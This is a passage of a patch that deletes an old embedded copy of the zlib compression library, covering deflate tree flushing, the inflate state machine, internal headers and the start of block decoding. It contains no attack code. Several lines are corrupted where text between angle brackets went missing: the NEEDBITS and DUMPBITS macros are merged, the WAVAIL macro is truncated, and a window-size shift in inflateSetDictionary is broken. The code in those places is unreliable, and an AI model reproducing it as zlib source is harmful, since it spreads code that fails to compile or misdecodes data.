= STORED; - } else -#endif /* STORED_FILE_OK */ - -#ifdef FORCE_STORED - if (buf != (char*)0) { /* force stored block */ -#else - if (stored_len+4 <= opt_lenb && buf != (char*)0) { - /* 4: two words for the lengths */ -#endif - /* The test buf != NULL is only necessary if LIT_BUFSIZE > WSIZE. - * Otherwise we can't have processed more than WSIZE input bytes since - * the last block flush, because compression would have been - * successful. If LIT_BUFSIZE <= WSIZE, it is never too late to - * transform a block into a stored block. - */ - _tr_stored_block(s, buf, stored_len, eof); - -#ifdef FORCE_STATIC - } else if (static_lenb >= 0) { /* force static trees */ -#else - } else if (static_lenb == opt_lenb) { -#endif - send_bits(s, (STATIC_TREES<<1)+eof, 3); - compress_block(s, (ct_data *)static_ltree, (ct_data *)static_dtree); - s->compressed_len += 3 + s->static_len; - } else { - send_bits(s, (DYN_TREES<<1)+eof, 3); - send_all_trees(s, s->l_desc.max_code+1, s->d_desc.max_code+1, - max_blindex+1); - compress_block(s, (ct_data *)s->dyn_ltree, (ct_data *)s->dyn_dtree); - s->compressed_len += 3 + s->opt_len; - } - Assert (s->compressed_len == s->bits_sent, "bad compressed size"); - init_block(s); - - if (eof) { - bi_windup(s); - s->compressed_len += 7; /* align on byte boundary */ - } - Tracev((stderr,"\ncomprlen %lu(%lu) ", s->compressed_len>>3, - s->compressed_len-7*eof)); - - return s->compressed_len >> 3; -} - -/* =========================================================================== - * Save the match info and tally the frequency counts. Return true if - * the current block must be flushed. - */ -int _tr_tally (s, dist, lc) - deflate_state *s; - unsigned dist; /* distance of matched string */ - unsigned lc; /* match length-MIN_MATCH or unmatched char (if dist==0) */ -{ - s->d_buf[s->last_lit] = (ush)dist; - s->l_buf[s->last_lit++] = (uch)lc; - if (dist == 0) { - /* lc is the unmatched char */ - s->dyn_ltree[lc].Freq++; - } else { - s->matches++; - /* Here, lc is the match length - MIN_MATCH */ - dist--; /* dist = match distance - 1 */ - Assert((ush)dist < (ush)MAX_DIST(s) && - (ush)lc <= (ush)(MAX_MATCH-MIN_MATCH) && - (ush)d_code(dist) < (ush)D_CODES, "_tr_tally: bad match"); - - s->dyn_ltree[length_code[lc]+LITERALS+1].Freq++; - s->dyn_dtree[d_code(dist)].Freq++; - } - - /* Try to guess if it is profitable to stop the current block here */ - if (s->level > 2 && (s->last_lit & 0xfff) == 0) { - /* Compute an upper bound for the compressed length */ - ulg out_length = (ulg)s->last_lit*8L; - ulg in_length = (ulg)((long)s->strstart - s->block_start); - int dcode; - for (dcode = 0; dcode < D_CODES; dcode++) { - out_length += (ulg)s->dyn_dtree[dcode].Freq * - (5L+extra_dbits[dcode]); - } - out_length >>= 3; - Tracev((stderr,"\nlast_lit %u, in %ld, out ~%ld(%ld%%) ", - s->last_lit, in_length, out_length, - 100L - out_length*100L/in_length)); - if (s->matches < s->last_lit/2 && out_length < in_length/2) return 1; - } - return (s->last_lit == s->lit_bufsize-1); - /* We avoid equality with lit_bufsize because of wraparound at 64K - * on 16 bit machines and because stored blocks are restricted to - * 64K-1 bytes. - */ -} - -/* =========================================================================== - * Send the block data compressed using the given Huffman trees - */ -local void compress_block(s, ltree, dtree) - deflate_state *s; - ct_data *ltree; /* literal tree */ - ct_data *dtree; /* distance tree */ -{ - unsigned dist; /* distance of matched string */ - int lc; /* match length or unmatched char (if dist == 0) */ - unsigned lx = 0; /* running index in l_buf */ - unsigned code; /* the code to send */ - int extra; /* number of extra bits to send */ - - if (s->last_lit != 0) do { - dist = s->d_buf[lx]; - lc = s->l_buf[lx++]; - if (dist == 0) { - send_code(s, lc, ltree); /* send a literal byte */ - Tracecv(isgraph(lc), (stderr," '%c' ", lc)); - } else { - /* Here, lc is the match length - MIN_MATCH */ - code = length_code[lc]; - send_code(s, code+LITERALS+1, ltree); /* send the length code */ - extra = extra_lbits[code]; - if (extra != 0) { - lc -= base_length[code]; - send_bits(s, lc, extra); /* send the extra length bits */ - } - dist--; /* dist is now the match distance - 1 */ - code = d_code(dist); - Assert (code < D_CODES, "bad d_code"); - - send_code(s, code, dtree); /* send the distance code */ - extra = extra_dbits[code]; - if (extra != 0) { - dist -= base_dist[code]; - send_bits(s, dist, extra); /* send the extra distance bits */ - } - } /* literal or match pair ? */ - - /* Check that the overlay between pending_buf and d_buf+l_buf is ok: */ - Assert(s->pending < s->lit_bufsize + 2*lx, "pendingBuf overflow"); - - } while (lx < s->last_lit); - - send_code(s, END_BLOCK, ltree); - s->last_eob_len = ltree[END_BLOCK].Len; -} - -/* =========================================================================== - * Set the data type to ASCII or BINARY, using a crude approximation: - * binary if more than 20% of the bytes are <= 6 or >= 128, ascii otherwise. - * IN assertion: the fields freq of dyn_ltree are set and the total of all - * frequencies does not exceed 64K (to fit in an int on 16 bit machines). - */ -local void set_data_type(s) - deflate_state *s; -{ - int n = 0; - unsigned ascii_freq = 0; - unsigned bin_freq = 0; - while (n < 7) bin_freq += s->dyn_ltree[n++].Freq; - while (n < 128) ascii_freq += s->dyn_ltree[n++].Freq; - while (n < LITERALS) bin_freq += s->dyn_ltree[n++].Freq; - s->data_type = (Byte)(bin_freq > (ascii_freq >> 2) ? Z_BINARY : Z_ASCII); -} - -/* =========================================================================== - * Reverse the first len bits of a code, using straightforward code (a faster - * method would use a table) - * IN assertion: 1 <= len <= 15 - */ -local unsigned bi_reverse(code, len) - unsigned code; /* the value to invert */ - int len; /* its bit length */ -{ - register unsigned res = 0; - do { - res |= code & 1; - code >>= 1, res <<= 1; - } while (--len > 0); - return res >> 1; -} - -/* =========================================================================== - * Flush the bit buffer, keeping at most 7 bits in it. - */ -local void bi_flush(s) - deflate_state *s; -{ - if (s->bi_valid == 16) { - put_short(s, s->bi_buf); - s->bi_buf = 0; - s->bi_valid = 0; - } else if (s->bi_valid >= 8) { - put_byte(s, (Byte)s->bi_buf); - s->bi_buf >>= 8; - s->bi_valid -= 8; - } -} - -/* =========================================================================== - * Flush the bit buffer and align the output on a byte boundary - */ -local void bi_windup(s) - deflate_state *s; -{ - if (s->bi_valid > 8) { - put_short(s, s->bi_buf); - } else if (s->bi_valid > 0) { - put_byte(s, (Byte)s->bi_buf); - } - s->bi_buf = 0; - s->bi_valid = 0; -#ifdef DEBUG_ZLIB - s->bits_sent = (s->bits_sent+7) & ~7; -#endif -} - -/* =========================================================================== - * Copy a stored block, storing first the length and its - * one's complement if requested. - */ -local void copy_block(s, buf, len, header) - deflate_state *s; - charf *buf; /* the input data */ - unsigned len; /* its length */ - int header; /* true if block header must be written */ -{ - bi_windup(s); /* align on byte boundary */ - s->last_eob_len = 8; /* enough lookahead for inflate */ - - if (header) { - put_short(s, (ush)len); - put_short(s, (ush)~len); -#ifdef DEBUG_ZLIB - s->bits_sent += 2*16; -#endif - } -#ifdef DEBUG_ZLIB - s->bits_sent += (ulg)len<<3; -#endif - /* bundle up the put_byte(s, *buf++) calls */ - zmemcpy(&s->pending_buf[s->pending], buf, len); - s->pending += len; -} -/* --- trees.c */ - -/* +++ inflate.c */ -/* inflate.c -- zlib interface to inflate modules - * Copyright (C) 1995-1996 Mark Adler - * For conditions of distribution and use, see copyright notice in zlib.h - */ - -/* #include "zutil.h" */ - -/* +++ infblock.h */ -/* infblock.h -- header to use infblock.c - * Copyright (C) 1995-1996 Mark Adler - * For conditions of distribution and use, see copyright notice in zlib.h - */ - -/* WARNING: this file should *not* be used by applications. It is - part of the implementation of the compression library and is - subject to change. Applications should only use zlib.h. - */ - -struct inflate_blocks_state; -typedef struct inflate_blocks_state FAR inflate_blocks_statef; - -extern inflate_blocks_statef * inflate_blocks_new OF(( - z_streamp z, - check_func c, /* check function */ - uInt w)); /* window size */ - -extern int inflate_blocks OF(( - inflate_blocks_statef *, - z_streamp , - int)); /* initial return code */ - -extern void inflate_blocks_reset OF(( - inflate_blocks_statef *, - z_streamp , - uLongf *)); /* check value on output */ - -extern int inflate_blocks_free OF(( - inflate_blocks_statef *, - z_streamp , - uLongf *)); /* check value on output */ - -extern void inflate_set_dictionary OF(( - inflate_blocks_statef *s, - const Bytef *d, /* dictionary */ - uInt n)); /* dictionary length */ - -extern int inflate_addhistory OF(( - inflate_blocks_statef *, - z_streamp)); - -extern int inflate_packet_flush OF(( - inflate_blocks_statef *)); -/* --- infblock.h */ - -#ifndef NO_DUMMY_DECL -struct inflate_blocks_state {int dummy;}; /* for buggy compilers */ -#endif - -/* inflate private state */ -struct internal_state { - - /* mode */ - enum { - METHOD, /* waiting for method byte */ - FLAG, /* waiting for flag byte */ - DICT4, /* four dictionary check bytes to go */ - DICT3, /* three dictionary check bytes to go */ - DICT2, /* two dictionary check bytes to go */ - DICT1, /* one dictionary check byte to go */ - DICT0, /* waiting for inflateSetDictionary */ - BLOCKS, /* decompressing blocks */ - CHECK4, /* four check bytes to go */ - CHECK3, /* three check bytes to go */ - CHECK2, /* two check bytes to go */ - CHECK1, /* one check byte to go */ - DONE, /* finished check, done */ - BAD} /* got an error--stay here */ - mode; /* current inflate mode */ - - /* mode dependent information */ - union { - uInt method; /* if FLAGS, method byte */ - struct { - uLong was; /* computed check value */ - uLong need; /* stream check value */ - } check; /* if CHECK, check values to compare */ - uInt marker; /* if BAD, inflateSync's marker bytes count */ - } sub; /* submode */ - - /* mode independent information */ - int nowrap; /* flag for no wrapper */ - uInt wbits; /* log2(window size) (8..15, defaults to 15) */ - inflate_blocks_statef - *blocks; /* current inflate_blocks state */ - -}; - - -int inflateReset(z) -z_streamp z; -{ - uLong c; - - if (z == Z_NULL || z->state == Z_NULL) - return Z_STREAM_ERROR; - z->total_in = z->total_out = 0; - z->msg = Z_NULL; - z->state->mode = z->state->nowrap ? BLOCKS : METHOD; - inflate_blocks_reset(z->state->blocks, z, &c); - Trace((stderr, "inflate: reset\n")); - return Z_OK; -} - - -int inflateEnd(z) -z_streamp z; -{ - uLong c; - - if (z == Z_NULL || z->state == Z_NULL || z->zfree == Z_NULL) - return Z_STREAM_ERROR; - if (z->state->blocks != Z_NULL) - inflate_blocks_free(z->state->blocks, z, &c); - ZFREE(z, z->state); - z->state = Z_NULL; - Trace((stderr, "inflate: end\n")); - return Z_OK; -} - - -int inflateInit2_(z, w, version, stream_size) -z_streamp z; -int w; -const char *version; -int stream_size; -{ - if (version == Z_NULL || version[0] != ZLIB_VERSION[0] || - stream_size != sizeof(z_stream)) - return Z_VERSION_ERROR; - - /* initialize state */ - if (z == Z_NULL) - return Z_STREAM_ERROR; - z->msg = Z_NULL; -#ifndef NO_ZCFUNCS - if (z->zalloc == Z_NULL) - { - z->zalloc = zcalloc; - z->opaque = (voidpf)0; - } - if (z->zfree == Z_NULL) z->zfree = zcfree; -#endif - if ((z->state = (struct internal_state FAR *) - ZALLOC(z,1,sizeof(struct internal_state))) == Z_NULL) - return Z_MEM_ERROR; - z->state->blocks = Z_NULL; - - /* handle undocumented nowrap option (no zlib header or check) */ - z->state->nowrap = 0; - if (w < 0) - { - w = - w; - z->state->nowrap = 1; - } - - /* set window size */ - if (w < 8 || w > 15) - { - inflateEnd(z); - return Z_STREAM_ERROR; - } - z->state->wbits = (uInt)w; - - /* create inflate_blocks state */ - if ((z->state->blocks = - inflate_blocks_new(z, z->state->nowrap ? Z_NULL : adler32, (uInt)1 << w)) - == Z_NULL) - { - inflateEnd(z); - return Z_MEM_ERROR; - } - Trace((stderr, "inflate: allocated\n")); - - /* reset state */ - inflateReset(z); - return Z_OK; -} - - -int inflateInit_(z, version, stream_size) -z_streamp z; -const char *version; -int stream_size; -{ - return inflateInit2_(z, DEF_WBITS, version, stream_size); -} - - -#define NEEDBYTE {if(z->avail_in==0)goto empty;r=Z_OK;} -#define NEXTBYTE (z->avail_in--,z->total_in++,*z->next_in++) - -int inflate(z, f) -z_streamp z; -int f; -{ - int r; - uInt b; - - if (z == Z_NULL || z->state == Z_NULL || z->next_in == Z_NULL || f < 0) - return Z_STREAM_ERROR; - r = Z_BUF_ERROR; - while (1) switch (z->state->mode) - { - case METHOD: - NEEDBYTE - if (((z->state->sub.method = NEXTBYTE) & 0xf) != Z_DEFLATED) - { - z->state->mode = BAD; - z->msg = (char*)"unknown compression method"; - z->state->sub.marker = 5; /* can't try inflateSync */ - break; - } - if ((z->state->sub.method >> 4) + 8 > z->state->wbits) - { - z->state->mode = BAD; - z->msg = (char*)"invalid window size"; - z->state->sub.marker = 5; /* can't try inflateSync */ - break; - } - z->state->mode = FLAG; - case FLAG: - NEEDBYTE - b = NEXTBYTE; - if (((z->state->sub.method << 8) + b) % 31) - { - z->state->mode = BAD; - z->msg = (char*)"incorrect header check"; - z->state->sub.marker = 5; /* can't try inflateSync */ - break; - } - Trace((stderr, "inflate: zlib header ok\n")); - if (!(b & PRESET_DICT)) - { - z->state->mode = BLOCKS; - break; - } - z->state->mode = DICT4; - case DICT4: - NEEDBYTE - z->state->sub.check.need = (uLong)NEXTBYTE << 24; - z->state->mode = DICT3; - case DICT3: - NEEDBYTE - z->state->sub.check.need += (uLong)NEXTBYTE << 16; - z->state->mode = DICT2; - case DICT2: - NEEDBYTE - z->state->sub.check.need += (uLong)NEXTBYTE << 8; - z->state->mode = DICT1; - case DICT1: - NEEDBYTE - z->state->sub.check.need += (uLong)NEXTBYTE; - z->adler = z->state->sub.check.need; - z->state->mode = DICT0; - return Z_NEED_DICT; - case DICT0: - z->state->mode = BAD; - z->msg = (char*)"need dictionary"; - z->state->sub.marker = 0; /* can try inflateSync */ - return Z_STREAM_ERROR; - case BLOCKS: - r = inflate_blocks(z->state->blocks, z, r); - if (f == Z_PACKET_FLUSH && z->avail_in == 0 && z->avail_out != 0) - r = inflate_packet_flush(z->state->blocks); - if (r == Z_DATA_ERROR) - { - z->state->mode = BAD; - z->state->sub.marker = 0; /* can try inflateSync */ - break; - } - if (r != Z_STREAM_END) - return r; - r = Z_OK; - inflate_blocks_reset(z->state->blocks, z, &z->state->sub.check.was); - if (z->state->nowrap) - { - z->state->mode = DONE; - break; - } - z->state->mode = CHECK4; - case CHECK4: - NEEDBYTE - z->state->sub.check.need = (uLong)NEXTBYTE << 24; - z->state->mode = CHECK3; - case CHECK3: - NEEDBYTE - z->state->sub.check.need += (uLong)NEXTBYTE << 16; - z->state->mode = CHECK2; - case CHECK2: - NEEDBYTE - z->state->sub.check.need += (uLong)NEXTBYTE << 8; - z->state->mode = CHECK1; - case CHECK1: - NEEDBYTE - z->state->sub.check.need += (uLong)NEXTBYTE; - - if (z->state->sub.check.was != z->state->sub.check.need) - { - z->state->mode = BAD; - z->msg = (char*)"incorrect data check"; - z->state->sub.marker = 5; /* can't try inflateSync */ - break; - } - Trace((stderr, "inflate: zlib check ok\n")); - z->state->mode = DONE; - case DONE: - return Z_STREAM_END; - case BAD: - return Z_DATA_ERROR; - default: - return Z_STREAM_ERROR; - } - - empty: - if (f != Z_PACKET_FLUSH) - return r; - z->state->mode = BAD; - z->msg = (char *)"need more for packet flush"; - z->state->sub.marker = 0; /* can try inflateSync */ - return Z_DATA_ERROR; -} - - -int inflateSetDictionary(z, dictionary, dictLength) -z_streamp z; -const Bytef *dictionary; -uInt dictLength; -{ - uInt length = dictLength; - - if (z == Z_NULL || z->state == Z_NULL || z->state->mode != DICT0) - return Z_STREAM_ERROR; - - if (adler32(1L, dictionary, dictLength) != z->adler) return Z_DATA_ERROR; - z->adler = 1L; - - if (length >= ((uInt)1<state->wbits)) - { - length = (1<state->wbits)-1; - dictionary += dictLength - length; - } - inflate_set_dictionary(z->state->blocks, dictionary, length); - z->state->mode = BLOCKS; - return Z_OK; -} - -/* - * This subroutine adds the data at next_in/avail_in to the output history - * without performing any output. The output buffer must be "caught up"; - * i.e. no pending output (hence s->read equals s->write), and the state must - * be BLOCKS (i.e. we should be willing to see the start of a series of - * BLOCKS). On exit, the output will also be caught up, and the checksum - * will have been updated if need be. - */ - -int inflateIncomp(z) -z_stream *z; -{ - if (z->state->mode != BLOCKS) - return Z_DATA_ERROR; - return inflate_addhistory(z->state->blocks, z); -} - - -int inflateSync(z) -z_streamp z; -{ - uInt n; /* number of bytes to look at */ - Bytef *p; /* pointer to bytes */ - uInt m; /* number of marker bytes found in a row */ - uLong r, w; /* temporaries to save total_in and total_out */ - - /* set up */ - if (z == Z_NULL || z->state == Z_NULL) - return Z_STREAM_ERROR; - if (z->state->mode != BAD) - { - z->state->mode = BAD; - z->state->sub.marker = 0; - } - if ((n = z->avail_in) == 0) - return Z_BUF_ERROR; - p = z->next_in; - m = z->state->sub.marker; - - /* search */ - while (n && m < 4) - { - if (*p == (Byte)(m < 2 ? 0 : 0xff)) - m++; - else if (*p) - m = 0; - else - m = 4 - m; - p++, n--; - } - - /* restore */ - z->total_in += p - z->next_in; - z->next_in = p; - z->avail_in = n; - z->state->sub.marker = m; - - /* return no joy or set up to restart on a new block */ - if (m != 4) - return Z_DATA_ERROR; - r = z->total_in; w = z->total_out; - inflateReset(z); - z->total_in = r; z->total_out = w; - z->state->mode = BLOCKS; - return Z_OK; -} - -#undef NEEDBYTE -#undef NEXTBYTE -/* --- inflate.c */ - -/* +++ infblock.c */ -/* infblock.c -- interpret and process block types to last block - * Copyright (C) 1995-1996 Mark Adler - * For conditions of distribution and use, see copyright notice in zlib.h - */ - -/* #include "zutil.h" */ -/* #include "infblock.h" */ - -/* +++ inftrees.h */ -/* inftrees.h -- header to use inftrees.c - * Copyright (C) 1995-1996 Mark Adler - * For conditions of distribution and use, see copyright notice in zlib.h - */ - -/* WARNING: this file should *not* be used by applications. It is - part of the implementation of the compression library and is - subject to change. Applications should only use zlib.h. - */ - -/* Huffman code lookup table entry--this entry is four bytes for machines - that have 16-bit pointers (e.g. PC's in the small or medium model). */ - -typedef struct inflate_huft_s FAR inflate_huft; - -struct inflate_huft_s { - union { - struct { - Byte Exop; /* number of extra bits or operation */ - Byte Bits; /* number of bits in this code or subcode */ - } what; - Bytef *pad; /* pad structure to a power of 2 (4 bytes for */ - } word; /* 16-bit, 8 bytes for 32-bit machines) */ - union { - uInt Base; /* literal, length base, or distance base */ - inflate_huft *Next; /* pointer to next level of table */ - } more; -}; - -#ifdef DEBUG_ZLIB - extern uInt inflate_hufts; -#endif - -extern int inflate_trees_bits OF(( - uIntf *, /* 19 code lengths */ - uIntf *, /* bits tree desired/actual depth */ - inflate_huft * FAR *, /* bits tree result */ - z_streamp )); /* for zalloc, zfree functions */ - -extern int inflate_trees_dynamic OF(( - uInt, /* number of literal/length codes */ - uInt, /* number of distance codes */ - uIntf *, /* that many (total) code lengths */ - uIntf *, /* literal desired/actual bit depth */ - uIntf *, /* distance desired/actual bit depth */ - inflate_huft * FAR *, /* literal/length tree result */ - inflate_huft * FAR *, /* distance tree result */ - z_streamp )); /* for zalloc, zfree functions */ - -extern int inflate_trees_fixed OF(( - uIntf *, /* literal desired/actual bit depth */ - uIntf *, /* distance desired/actual bit depth */ - inflate_huft * FAR *, /* literal/length tree result */ - inflate_huft * FAR *)); /* distance tree result */ - -extern int inflate_trees_free OF(( - inflate_huft *, /* tables to free */ - z_streamp )); /* for zfree function */ - -/* --- inftrees.h */ - -/* +++ infcodes.h */ -/* infcodes.h -- header to use infcodes.c - * Copyright (C) 1995-1996 Mark Adler - * For conditions of distribution and use, see copyright notice in zlib.h - */ - -/* WARNING: this file should *not* be used by applications. It is - part of the implementation of the compression library and is - subject to change. Applications should only use zlib.h. - */ - -struct inflate_codes_state; -typedef struct inflate_codes_state FAR inflate_codes_statef; - -extern inflate_codes_statef *inflate_codes_new OF(( - uInt, uInt, - inflate_huft *, inflate_huft *, - z_streamp )); - -extern int inflate_codes OF(( - inflate_blocks_statef *, - z_streamp , - int)); - -extern void inflate_codes_free OF(( - inflate_codes_statef *, - z_streamp )); - -/* --- infcodes.h */ - -/* +++ infutil.h */ -/* infutil.h -- types and macros common to blocks and codes - * Copyright (C) 1995-1996 Mark Adler - * For conditions of distribution and use, see copyright notice in zlib.h - */ - -/* WARNING: this file should *not* be used by applications. It is - part of the implementation of the compression library and is - subject to change. Applications should only use zlib.h. - */ - -#ifndef _INFUTIL_H -#define _INFUTIL_H - -typedef enum { - TYPE, /* get type bits (3, including end bit) */ - LENS, /* get lengths for stored */ - STORED, /* processing stored block */ - TABLE, /* get table lengths */ - BTREE, /* get bit lengths tree for a dynamic block */ - DTREE, /* get length, distance trees for a dynamic block */ - CODES, /* processing fixed or dynamic block */ - DRY, /* output remaining window bytes */ - DONEB, /* finished last block, done */ - BADB} /* got a data error--stuck here */ -inflate_block_mode; - -/* inflate blocks semi-private state */ -struct inflate_blocks_state { - - /* mode */ - inflate_block_mode mode; /* current inflate_block mode */ - - /* mode dependent information */ - union { - uInt left; /* if STORED, bytes left to copy */ - struct { - uInt table; /* table lengths (14 bits) */ - uInt index; /* index into blens (or border) */ - uIntf *blens; /* bit lengths of codes */ - uInt bb; /* bit length tree depth */ - inflate_huft *tb; /* bit length decoding tree */ - } trees; /* if DTREE, decoding info for trees */ - struct { - inflate_huft *tl; - inflate_huft *td; /* trees to free */ - inflate_codes_statef - *codes; - } decode; /* if CODES, current state */ - } sub; /* submode */ - uInt last; /* true if this block is the last block */ - - /* mode independent information */ - uInt bitk; /* bits in bit buffer */ - uLong bitb; /* bit buffer */ - Bytef *window; /* sliding window */ - Bytef *end; /* one byte after sliding window */ - Bytef *read; /* window read pointer */ - Bytef *write; /* window write pointer */ - check_func checkfn; /* check function */ - uLong check; /* check on output */ - -}; - - -/* defines for inflate input/output */ -/* update pointers and return */ -#define UPDBITS {s->bitb=b;s->bitk=k;} -#define UPDIN {z->avail_in=n;z->total_in+=p-z->next_in;z->next_in=p;} -#define UPDOUT {s->write=q;} -#define UPDATE {UPDBITS UPDIN UPDOUT} -#define LEAVE {UPDATE return inflate_flush(s,z,r);} -/* get bytes and bits */ -#define LOADIN {p=z->next_in;n=z->avail_in;b=s->bitb;k=s->bitk;} -#define NEEDBYTE {if(n)r=Z_OK;else LEAVE} -#define NEXTBYTE (n--,*p++) -#define NEEDBITS(j) {while(k<(j)){NEEDBYTE;b|=((uLong)NEXTBYTE)<>=(j);k-=(j);} -/* output bytes */ -#define WAVAIL (uInt)(qread?s->read-q-1:s->end-q) -#define LOADOUT {q=s->write;m=(uInt)WAVAIL;} -#define WWRAP {if(q==s->end&&s->read!=s->window){q=s->window;m=(uInt)WAVAIL;}} -#define FLUSH {UPDOUT r=inflate_flush(s,z,r); LOADOUT} -#define NEEDOUT {if(m==0){WWRAP if(m==0){FLUSH WWRAP if(m==0) LEAVE}}r=Z_OK;} -#define OUTBYTE(a) {*q++=(Byte)(a);m--;} -/* load local pointers */ -#define LOAD {LOADIN LOADOUT} - -/* masks for lower bits (size given to avoid silly warnings with Visual C++) */ -extern uInt inflate_mask[17]; - -/* copy as much as possible from the sliding window to the output area */ -extern int inflate_flush OF(( - inflate_blocks_statef *, - z_streamp , - int)); - -#ifndef NO_DUMMY_DECL -struct internal_state {int dummy;}; /* for buggy compilers */ -#endif - -#endif -/* --- infutil.h */ - -#ifndef NO_DUMMY_DECL -struct inflate_codes_state {int dummy;}; /* for buggy compilers */ -#endif - -/* Table for deflate from PKZIP's appnote.txt. */ -local const uInt border[] = { /* Order of the bit length code lengths */ - 16, 17, 18, 0, 8, 7, 9, 6, 10, 5, 11, 4, 12, 3, 13, 2, 14, 1, 15}; - -/* - Notes beyond the 1.93a appnote.txt: - - 1. Distance pointers never point before the beginning of the output - stream. - 2. Distance pointers can point back across blocks, up to 32k away. - 3. There is an implied maximum of 7 bits for the bit length table and - 15 bits for the actual data. - 4. If only one code exists, then it is encoded using one bit. (Zero - would be more efficient, but perhaps a little confusing.) If two - codes exist, they are coded using one bit each (0 and 1). - 5. There is no way of sending zero distance codes--a dummy must be - sent if there are none. (History: a pre 2.0 version of PKZIP would - store blocks with no distance codes, but this was discovered to be - too harsh a criterion.) Valid only for 1.93a. 2.04c does allow - zero distance codes, which is sent as one code of zero bits in - length. - 6. There are up to 286 literal/length codes. Code 256 represents the - end-of-block. Note however that the static length tree defines - 288 codes just to fill out the Huffman codes. Codes 286 and 287 - cannot be used though, since there is no length base or extra bits - defined for them. Similarily, there are up to 30 distance codes. - However, static trees define 32 codes (all 5 bits) to fill out the - Huffman codes, but the last two had better not show up in the data. - 7. Unzip can check dynamic Huffman blocks for complete code sets. - The exception is that a single code would not be complete (see #4). - 8. The five bits following the block type is really the number of - literal codes sent minus 257. - 9. Length codes 8,16,16 are interpreted as 13 length codes of 8 bits - (1+6+6). Therefore, to output three times the length, you output - three codes (1+1+1), whereas to output four times the same length, - you only need two codes (1+3). Hmm. - 10. In the tree reconstruction algorithm, Code = Code + Increment - only if BitLength(i) is not zero. (Pretty obvious.) - 11. Correction: 4 Bits: # of Bit Length codes - 4 (4 - 19) - 12. Note: length code 284 can represent 227-258, but length code 285 - really is 258. The last length deserves its own, short code - since it gets used a lot in very redundant files. The length - 258 is special since 258 - 3 (the min match length) is 255. - 13. The literal/length and distance code bit lengths are read as a - single stream of lengths. It is possible (and advantageous) for - a repeat code (16, 17, or 18) to go across the boundary between - the two sets of lengths. - */ - - -void inflate_blocks_reset(s, z, c) -inflate_blocks_statef *s; -z_streamp z; -uLongf *c; -{ - if (s->checkfn != Z_NULL) - *c = s->check; - if (s->mode == BTREE || s->mode == DTREE) - ZFREE(z, s->sub.trees.blens); - if (s->mode == CODES) - { - inflate_codes_free(s->sub.decode.codes, z); - inflate_trees_free(s->sub.decode.td, z); - inflate_trees_free(s->sub.decode.tl, z); - } - s->mode = TYPE; - s->bitk = 0; - s->bitb = 0; - s->read = s->write = s->window; - if (s->checkfn != Z_NULL) - z->adler = s->check = (*s->checkfn)(0L, Z_NULL, 0); - Trace((stderr, "inflate: blocks reset\n")); -} - - -inflate_blocks_statef *inflate_blocks_new(z, c, w) -z_streamp z; -check_func c; -uInt w; -{ - inflate_blocks_statef *s; - - if ((s = (inflate_blocks_statef *)ZALLOC - (z,1,sizeof(struct inflate_blocks_state))) == Z_NULL) - return s; - if ((s->window = (Bytef *)ZALLOC(z, 1, w)) == Z_NULL) - { - ZFREE(z, s); - return Z_NULL; - } - s->end = s->window + w; - s->checkfn = c; - s->mode = TYPE; - Trace((stderr, "inflate: blocks allocated\n")); - inflate_blocks_reset(s, z, &s->check); - return s; -} - - -#ifdef DEBUG_ZLIB - extern uInt inflate_hufts; -#endif -int inflate_blocks(s, z, r) -inflate_blocks_statef *s; -z_streamp z; -int r; -{ - uInt t; /* temporary storage */ - uLong b; /* bit buffer */ - uInt k; /* bits in bit buffer */ - Bytef *p; /* input data pointer */ - uInt n; /* bytes available there */ - Bytef *q; /* output window write pointer */ - uInt m; /* bytes to end of window or read pointer */ - - /* copy input/output information to locals (UPDATE macro restores) */ - LOAD - - /* process input based on current state */ - while (1) switch (s->mode) - { - case TYPE: - NEEDBITS(3) - t = (uInt)b & 7; - s->last = t & 1; - switch (t >> 1) - { - case 0: /* stored */ - Trace((stderr, "inflate: stored block%s\n", - s->last ? " (last)" : "")); - DUMPBITS(3) - t = k & 7; /* go to byte boundary */ - DUMPBITS(t) - s->mode = LENS; /* get length of stored block */ - break; - case 1: /* fixed */ - Trace((stderr, "inflate: fixed codes block%s\n", - s->last ? " (last)" : "")); - { - uInt bl, bd; - inflate_huft *tl, *td; - - inflate_trees_fixed(&bl, &bd, &tl, &td); - s->sub.decode.codes = inflate_codes_new(bl, bd, tl, td, z); - if (s->sub.decode.codes == Z_NULL) - { - r = Z_MEM_ERROR; - LEAVE - } - s->sub.decode.tl = Z_NULL; /* don't try to free these */ - s->sub.decode.td = Z_NULL; - } - DUMPBITS(3) - s->mode = CODES; - break; - case 2: /* dynamic */ - Trace((stderr, "inflate: dynamic codes block%s\n", - s->last ? " (last)" : "")); - DUMPBITS(3) - s->mode = TABLE; - break; - case 3: /* illegal */ - DUMPBITS(3) - s->mode = BADB; - z->msg = (char*)"invalid block type"; - r = Z_DATA_ERROR; - LEAVE - } - break; - case LENS: - NEEDBITS(32) - if ((((~b) >> 16) & 0xffff) != (b & 0xffff)) - { - s->mode = BADB; - z->msg = (char*)"invalid stored block lengths"; - r = Z_DATA_ERROR; - LEAVE - } - s->sub.left = (uInt)b & 0xffff; - b = k = 0; /* dump bits */ - Tracev((stderr, "inflate: stored length %u\n", s->sub.left)); - s->mode = s->sub.left ? STORED : (s->last ? DRY : TYPE); - break; - case STORED: - if (n == 0) - LEAVE - NEEDOUT - t = s->sub.left; - if (t > n) t = n; - if (t > m) t = m; - zmemcpy(q, p, t); - p += t; n -= t; - q += t; m -= t; - if ((s->sub.left -= t) != 0) - break; - Tracev((stderr, "inflate: stored end, %lu total out\n", - z->total_out + (q >= s->read ? q - s->read : - (s->end - s->read) + (q - s->window)))); - s->mode = s->last ? DRY : TYPE; - break; - case TABLE: - NEEDBITS(14) - s->sub.trees.table = t = (uInt)b & 0x3fff; -#ifndef PKZIP_BUG_WORKAROUND - if ((t & 0x1f) > 29 || ((t >> 5) & 0x1f) > 29) - { - s->mode = BADB; - z->msg = (char*)"too many length or distance symbols"; - r = Z_DATA_ERROR; - LEAVE - } -#endif - t = 258 + (t & 0x1f) + ((t >> 5) & 0x1f); - if (t < 19) - t = 19; - if ((s->sub.trees.blens = (uIntf*)ZALLOC(z, t, sizeof(uInt))) == Z_NULL) - { - r = Z_MEM_ERROR; - LEAVE - } - DUMPBITS(14) - s->sub.trees.index = 0; - Tracev((stderr, "inflate: table sizes ok\n")); - s->mode = BTREE; - case BTREE: - while (s->sub.trees.index < 4 + (s->sub.trees.table >> 10)) - { - NEEDBITS(3) - s->sub.trees.blens[border[s->sub.trees.index++]] = (uInt)b & 7; - DUMPBITS(3) - } - while (s->sub.trees.index < 19) - s->sub.trees.blens[border[s->sub.trees.index++]] = 0; - s->sub.trees.bb = 7; - t = inflate_trees_bits(s->sub.trees.blens, &s->sub.trees.bb, - 